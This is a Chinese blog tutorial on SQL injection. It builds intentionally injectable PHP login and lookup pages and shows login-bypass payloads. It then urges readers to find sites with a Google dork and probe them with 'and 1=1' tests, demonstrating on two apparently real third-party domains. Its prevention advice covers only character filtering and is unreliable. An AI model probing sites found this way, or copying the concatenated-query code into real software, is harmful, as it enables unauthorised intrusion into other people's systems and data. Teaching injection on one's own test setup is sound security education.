白話:SQL注入

SQL注入

最近在整理web安全方面的知識,發現以前寫的這一篇有bug,於是重新編輯發表了一下,下面是分享內容。

SQL注入原理解釋

網上和書上對SQL注入講的感覺挺複雜的,但是就我理解來看,SQL注入就是利用數據庫查詢語句的漏洞,用戶通過特殊的輸入,構造出特殊的查詢語句從而進行一些非預期的操作。這些非預期的操作包括非法登錄,竊取數據庫中的信息,甚至是銷燬信息的操作。

簡單的SQL注入實現

下面是登錄數據庫的創建代碼:

CREATE TABLE login (
  id   INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(20),
  passwd VARCHAR(20)
);

創建倆用戶

INSERT INTO login(name,passwd) VALUES ('xiaoming','xm');
INSERT INTO login(name,passwd) VALUES ('lihua','lh');

下面是登錄界面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>登陸</title>
</head>
<body>
    <form method="get" action="login.php">
        <p>用戶名:<input name="name" type="text"></p>
        <p>密碼:<input name="passwd" type="password"></p>
        <input type="submit" value="登陸">
    </form>
</body>
</html>

下面是登錄後臺處理代碼

<?php
/**
 * Created by PhpStorm.
 * User: zhoupan
 * Date: 8/24/16
 * Time: 4:15 PM
 */
if ($_GET['name'] != null) {
    $name = $_GET['name'];
    $passwd = $_GET['passwd'];
    $connect = new mysqli('localhost', 'root', 'root');
    if (!$connect) {
        die('Connect DataBase Error!');
    }
    $select = $connect->select_db('SQLInjection');
    if (!$select) {
        die('Select DataBase Error!');
    }
    $quert = "select * from login where name = \"" . $name . "\" and passwd = \"".$passwd."\";";
    $result = $connect->query($quert);
    $arr = $result->fetch_array();
    if (is_array($arr)) {
        echo "登陸成功";
    } else {
        echo "登陸失敗,用戶名或密碼錯誤!";
    }
}

正常的登錄,輸入用戶名和密碼,如果用戶名和密碼同時符合,則登錄成功,否則失敗,我們來研究以下數據庫的查詢語句:

$quert = "select * from login where name = \"" . $name . "\" and passwd = \"".$passwd."\";";

變換一下,方面觀察:

select * from login where name = " $name " and passwd = " $passwd ";

想一下,怎樣通過特殊的變量 name 和 passwd 來實SQL成功查詢呢?

# 方式一
$name = 任意 $passwd = " or 1=1 ; #
select * from login where name = "xiaoming" and passwd = "" or 1 = 1 ; # ";
# 方式二
$name =" " or 1 = 1 ; # $passwd 任意
select * from login where name = "xiaoming " or 1 = 1 ;# and passwd = "";

驗證:
方式一:
這裏寫圖片描述
結果:
這裏寫圖片描述
方式二:
這裏寫圖片描述
結果:
這裏寫圖片描述

通過這種方式,就可以實現非法登錄,從而實現某些不可告人的目的。

檢測網站SQL注入漏洞

當然啦,上面是自己寫的代碼,自己清楚代碼實現,那麼我們怎麼知道那些網站存在這樣的漏洞呢?當然啦,最簡單的方法就是自己一個一個網站來試,可以在谷歌上面鍵入”inurl:/news/read.php?id=”,來找符合這種規則的網站,然後一個一個的試。那麼試的方法呢?這得通過猜測得到。

不如一個網頁url爲:http://www.qzjcsz.cn/news/read.php?id=24

那麼我們推測他的SQL語句應該是:select * from table_name where id = $id

那麼我們檢驗是否存在SQL注入漏洞時,就可以這樣:http://www.qzjcsz.cn/news/read.php?id=24 and 1=1

如果可以正常返回,然後再輸入:http://www.qzjcsz.cn/news/read.php?id=24 and 1=2

如果不能正確返回,則表示此網站存在SQL注入漏洞,那就恭喜你啦。

來個例子:http://cnyork.cn/news/read.php?id=179

當我們輸入:http://cnyork.cn/news/read.php?id=179 and 1 = 1

出現:

這裏寫圖片描述

而輸入http://cnyork.cn/news/read.php?id=179 and 1 = 2

同樣出現上面結果,表明此網站不存在簡單的SQL注入漏洞

小實戰

SQL:

CREATE TABLE info(
  id int  AUTO_INCREMENT PRIMARY KEY ,
  name VARCHAR(20) UNICODE,
  balance DOUBLE DEFAULT 0
);

查詢界面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>登陸</title>
</head>
<body>
    <form method="get" action="select.php">
        <input type="text" name="id">
        <input type="submit" value="提交">
    </form>
</body>
</html>

後臺響應:

<?php
/**
 * Created by PhpStorm.
 * User: zhoupan
 * Date: 8/24/16
 * Time: 11:40 AM
 */
if($_GET['id'] != null) {
    $id = $_GET['id'];
    echo $id;
    require_once "DB_login.php";
    $connect = new mysqli($DB_HOST, $DB_USER, $DB_PASSWD);
    if (!$connect) {
        die("Connect DataBase Error");
    }
    $select = $connect->select_db($DB_NAME);
    if (!$select) {
        die("Select Databases Error");
    }
    $query = "select id,name,balance from info where id = ".$id.";";
    $result = $connect->query($query);
    echo "<table border='1' >";
    echo "<tr><th>ID</th><th>用戶名</th><th>餘額</th></tr>";
    while ($row = $result->fetch_array()) {
        echo "<tr align='center'>";
        echo "<td>" . $row['id'] . "</td>";
        echo "<td>" . $row['name'] . "</td>";
        echo "<td>" . $row['balance'] . "</td>";
        echo "</tr>";
    }
}

效果圖:

這裏寫圖片描述

簡述以下作用,輸入id,檢索出對應的信息
那麼我們怎樣能一次性拿出全部信息呢?
思考一下……
很簡單:

這裏寫圖片描述

結果:

這裏寫圖片描述

怎樣防止SQL注入呢?

最簡單的方法,就是對用戶的輸入進行嚴格的處理過濾,去除掉特殊的字符,而想要完全避免SQL注入幾乎是不可能的事情,所謂道高一尺,魔高一丈,作爲開發者,我們不能完全考慮到,但是只要在編碼的過程中稍微小心一點,就可以避免大多數的安全漏洞。

發佈了129 篇原創文章 · 獲贊 203 · 訪問量 45萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章